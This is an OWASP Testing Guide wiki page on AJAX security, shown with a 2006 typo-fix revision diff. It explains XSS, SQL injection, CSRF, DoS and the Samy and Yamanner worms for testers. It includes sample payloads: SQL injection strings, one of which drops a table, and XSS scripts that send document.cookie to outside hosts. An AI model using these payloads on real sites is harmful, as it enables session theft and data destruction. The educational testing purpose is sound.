Difference between revisions of "Testing for AJAX Vulnerabilities (OWASP-AJ-001)"

Revision as of 11:11, 10 November 2006 (view source) Anushshetty (talk | contribs) (→‎Attacks and Vulnerabilities) ← Older edit		Revision as of 14:13, 26 November 2006 (view source) Wisec (talk | contribs) m (→‎Attacks and Vulnerabilities: fixed some typing error) Newer edit →
Line 18:		Line 18:
	== Attacks and Vulnerabilities ==		== Attacks and Vulnerabilities ==
	<br>		<br>
−	'''XMLHttpRequest Vulnerabilities'''<br> AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.<p>	+	'''XMLHttpRequest Vulnerabilities'''<br> AJAX uses XMLHttpRequest(XHR) object for all the back-end work. A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.<p>
	Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.</p>		Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.</p>
Line 46:		Line 46:
	More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].		More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].
	<br><br>		<br><br>
−	'''Cross Site Scripting'''<br>Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. <br>	+	'''Cross Site Scripting'''<br>Cross Site Scripting is a technique by which malicious content is injected in form of HTML links,Javascripts Alerts or in form of error messages. XSS exploits can be used for triggering various other attacks like cookie theft, account hijacking, and denial of service. <br>
−	The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information	+	The Browser and Ajax Requests look identical, so the server is not able to classify them. Consequently it won't be able to discern who made the request in the background. A JavaScript program can request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information
−	such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site	+	such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site
	Scripting (XSS) attack.<br>		Scripting (XSS) attack.<br>
Line 77:		Line 77:
	'''AJAX Bridging'''<br>		'''AJAX Bridging'''<br>
−	For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.<br><br>	+	For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection. An attacker could use this to access sites with restricted access.<br><br>
	'''Cross Site Request Forgery(XSRF)'''<br>		'''Cross Site Request Forgery(XSRF)'''<br>

---

Revision as of 14:13, 26 November 2006

[Up]
OWASP Testing Guide v2 Table of Contents

Introduction

Asynchronous Javascript and XML (AJAX) is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include

• Create a larger attack surface with many more inputs to secure
  

• Expose internal functions of the Web application server
  

• Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms
  

• Login Information and Intrusion Detection

Attacks and Vulnerabilities

XMLHttpRequest Vulnerabilities
AJAX uses XMLHttpRequest(XHR) object for all the back-end work. A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.

Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.

XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.

Increased Attack Surface
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.

SQL Injection
SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database.
A typical SQL Injection attack could be as follows

• Example 1

SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;

This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.

• Example 2

SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;

The above query helps in dropping all the tables and destructs the database.

More on SQL Injection can be found at SQL Injection (OWASP Testing Guide v2).

Cross Site Scripting
Cross Site Scripting is a technique by which malicious content is injected in form of HTML links,Javascripts Alerts or in form of error messages. XSS exploits can be used for triggering various other attacks like cookie theft, account hijacking, and denial of service.

The Browser and Ajax Requests look identical, so the server is not able to classify them. Consequently it won't be able to discern who made the request in the background. A JavaScript program can request for a resource using Ajax that occurs in the background without the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information such as cookies to the request. JavaScript code can then access the response to this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site Scripting (XSS) attack.

Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.

The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods to propagate itself invisibly to the user.

• Example

<script>alert("howdy")</script>
<script>document.location='http://www.example.com/pag.pl?'%20+document.cookie</script>

Usage:

http://example.com/login.php?variable="><script>document.location='http://www.irr.com/cont.php?'+document.cookie</script>

This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.

Client Side Injection Threats

• XSS exploits can give access to any client-side data and can also modify the client-side code.

• DOM Injection - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)

<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>

• JSON/XML/XSLT Injection - Injection of malicious code in the XML content.
  
  

AJAX Bridging
For security purposes, AJAX applications can only connect back to the Website from which they come. For example, JavaScript with AJAX downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection. An attacker could use this to access sites with restricted access.

Cross Site Request Forgery(XSRF)
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.

Denial of Service
Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.

<IMG SRC="http://example.com/cgi-bin/ouch.cgi?a=b">

Browser Based Attacks
The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.

There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a "ping" using JavaScript "image" objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.

Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.

Major Attacks

MySpace Attack
The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In Samy attack,the XSS Exploit allowed <SCRIPT> in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile

Yahoo! Mail Attack
In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.

Testing

OWASP Testing Guide sections on AJAX Testing provides you a very good information on various aspects of AJAX Testing.
4.9 AJAX Testing
4.9.2 How to Test AJAX

Testing Tools

Here are some of the AJAX Testing Tools

Venkman
Venkmanis the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging environment for Mozilla based browsers.

Ghost Train
Scriptaculous's Ghost Train is a tool to ease the development of functional tests for web sites. It’s a event recorder, and test generating and replaying add-on you can use with any web application.

Squish/Web (froglogic)
Squish is an automated, functional testing tool. It allows to record, edit and run web tests in different browsers (IE, Firefox, Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages for tests.

JsUnit
JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.

References

• AJAX
  
• AJAX Patterns

Whitepapers

• Billy Hoffman, "Ajax(in) Security",SPI Labs
  
• Billy Hoffman, "Analysis of Web Application Worms and Viruses",SPI Labs
  
• Billy Hoffman, "Ajax Security Dangers",SPI Labs
  

Articles

• Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path
  
• Amit Klein. "DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS", Web Application Security Consortium
  

---

OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents